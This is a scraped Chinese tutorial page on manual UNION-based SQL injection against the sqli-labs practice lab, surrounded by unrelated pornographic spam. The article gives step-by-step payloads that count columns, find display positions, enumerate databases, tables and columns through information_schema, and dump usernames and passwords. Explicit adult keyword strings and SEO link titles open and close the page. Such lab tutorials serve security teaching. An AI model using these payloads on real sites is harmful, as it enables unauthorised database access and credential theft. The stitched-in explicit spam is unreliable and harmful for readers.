好湿?好紧?好多水好爽自慰,久久久噜久噜久久综合,成人做爰A片免费看黄冈,机机对机机30分钟无遮挡

主頁 > 知識庫 > sql注入之手工注入示例詳解

sql注入之手工注入示例詳解

熱門標簽:簡單的智能語音電銷機器人 南昌呼叫中心外呼系統哪家好 湖南保險智能外呼系統產品介紹 怎么去開發一個電銷機器人 怎么申請400熱線電話 小程序智能電話機器人 河北便宜電銷機器人軟件 泗洪正規電話機器人找哪家 ai電話電話機器人

前言

這篇文章就是一個最基本的SQl手工注入的過程了。基本上在sqlilabs上面的實驗,如果知道了其中的全部知識點,都可以通過以下的步驟進行脫褲。下面的這個步驟也是其他的脫褲手段的基礎。如果想要精通SQL注入,那么這個最基本的脫褲步驟是必須了解和掌握的。

為了方便說明,我們還是用之前的數字型的注入點為例來進行說明。

得到字段總數

在前面的介紹中,我們已經知道在http://localhost/sqlilabs/Less-2/?id=1id是一個注入點。

后臺的SQL語句的寫法大致為

select username,password,[....] from table where id=userinput

那么我們通過使用order by的語句來判斷select所查詢字段的數目。

那么payload變為:

http://localhost/sqlilabs/Less-2/?id=1 order by 1/2/3/4....

當使用order by 4時程序出錯,那么select的字段一共是3個。

得到顯示位

在頁面上會顯示從select中選取的字段,我們接下來就是要判斷顯示的字段是哪幾個字段。

使用如下的payload(兩者均可)進行判斷。

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,3 
http://localhost/sqlilabs/Less-2/?id=1 and 1=2 union select 1,2,3

當使用個如上的payload時,頁面的顯示如下:

通過如上的頁面顯示就可以知道,頁面中顯示的是第2位和第3位的信息。

查選庫

在知道了顯示位之后,那么接下來就可以通過顯示位來顯示我們想知道的信息,如數據庫的版本,用戶信息等等。那么我們使用如下的payload就可以知道相關的信息。

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,version(),database()

此時頁面的顯示為:

可以看到在頁面上就出現了數據庫的版本信息和當前使用的數據庫信息。

那么接下來我們通過這種方式知道數據庫中所有的數據庫的名稱。

payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 0,1 #得到第一個庫名
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,2,SCHEMA_NAME, from information_schema.SCHEMATA limit 1,1 #得到第二個庫名
...

查選表名

由于database()返回的就是當前web程序所使用的數據庫名,那么我們就利用database()來查詢所有的表信息。當然在上一步中。我們也已經知道當前的database就是security

那么我們構造的payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

這樣我們就得到當前數據庫下所有的表名了。頁面返回的結果是:

所以我們知道在當前的數據庫中存在4張表,分別是emails,referers,uagents,users

查選列名

在知道了表名之后,接下來我們利用information_schema.columns就可以根據表名來獲取當前表中所有的字段。

payload如下:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273(users的十六進制)

頁面的顯示結果如下:

通過這個語句,我們就知道在users表中存在USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,id,name,password這些字段。但是我本地測試的測試的時候,這個存在一個問題,實際上在security數據庫的users的表中,只有id,username,password這3個字段,其他的字段都是其他數據庫的中users表的字段名。

通過上面的payload,我們也同樣可以知道在emails,referers,uagents中的字段名稱。

但是有的時候后臺的代碼可能僅用了使用where子句,那么這個時候就無法通過information_schema.coumns來得到列名了,這個時候只能夠根據你自己多年的黑客經驗來進行猜解了。猜解的方法也是比較的簡單,使用exists子句就可以進行猜解了。假設在我們已經知道了表名的情況下(當然猜解表名也使用通過exists子句來完成)。

猜解的語句如下:

http://localhost/sqlilabs/Less-2/?id=1 and exists(select uname from users)

主要的語句就是exists(select 需要猜解的列名 from users)這種句式。如果在users表中不存在uname列名,則頁面不會顯示內容或者是直接出現sql的錯誤語句。

如下如所示:

下面這個就是猜解到了users表中存在的字段。

http://localhost/sqlilabs/Less-2/?id=1 and exists(select username from users)

猜測在users表中存在username列,上面的語句程序可以正常第返回結果,那么壽命在users表中確實存在username列名。

脫褲

在知道了當前數據庫所有的表名和字段名之后,接下來我們就可以dump數據庫中所有的信息了。比如我們下載當前users表中所有的數據。

可以使用如下的payload:

http://localhost/sqlilabs/Less-2/?id=-1 union select 1,group_concat(username,password),3 from users

就可以得到users表中所有的usernamepassword的數據了,通過這種方式也能夠得到其他表中的數據了。

總結

以上就是說sql手工注入的完整示例介紹,不知道大家都學會了?小編還需繼續更新關于sql注入的文章,請繼續關注腳本之家。

您可能感興趣的文章:
  • 利用SQL注入漏洞登錄后臺的實現方法
  • 有效防止SQL注入的5種方法總結
  • 利用SQL注入漏洞拖庫的方法
  • SQL注入中繞過 單引號 限制繼續注入
  • MySQL 及 SQL 注入與防范方法
  • 防御SQL注入的方法總結
  • SQL數據庫的高級sql注入的一些知識
  • SQL 注入式攻擊的終極防范
  • 關于SQL注入中文件讀寫的方法總結
  • sql注入教程之類型以及提交注入

標簽:威海 景德鎮 柳州 江蘇 那曲 荊門 瀘州 淮安

巨人網絡通訊聲明:本文標題《sql注入之手工注入示例詳解》,本文關鍵詞  sql,注入,之,手工,示例,詳解,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《sql注入之手工注入示例詳解》相關的同類信息!
  • 本頁收集關于sql注入之手工注入示例詳解的相關信息資訊供網民參考!
  • 推薦文章
    主站蜘蛛池模板: 日日摸夜夜添无码亚洲| 男男gaygays小鲜肉| 最近中字视频在线观看| 边做饭边被躁bd中| 色噜噜人妻丝袜av先锋影音先锋| 伊人直播APP成人黄版| 精品人妻无码一区二区三区绿| 甜性涩爱手机在线观看| 露脸偷拍精品视频在线| 国模小黎第三套大尺度人体| 欧美中文在线观看| 体育男生吃武警大雕video| 天天射久久| 两个奶被揉得又硬又翘怎么回事| 专干农村熟妇女视频| 交换国产精品视频一区| 有没有一款真能约的软件| 迷情校园综合| 偷窥老公出轨绿出轨短篇合集| 免费无码A片在线观看全| 桑日县| 特级婬片老女人高清视频| 美女抓胸乳摇爆衣动态图| 欧美又粗又硬| 国产伦精品一级A片视频夜夜| 91色噜噜狠狠色婷婷绿巨人| 高情商最动人的祝福语| 嗯哼嗯哼~太大了| 国产偷亚洲偷欧美偷精品| 男生舔女生胸| 添人人躁日日躁夜夜躁夜夜揉| 色戒在线观看未删减版| 欧美vps与windows性能比较45| 欧美日韩免费高清一区二区三区| 中国zzzwww大片免费视频| 亚洲图色网站| 欧美综合区自拍亚洲综合天堂| 污黄动漫在线看| 久久久久久久久久精品又大又圆| 嗯啊太深了视频攻和小受| 欧美最猛黑人xxxx黑人猛交3p|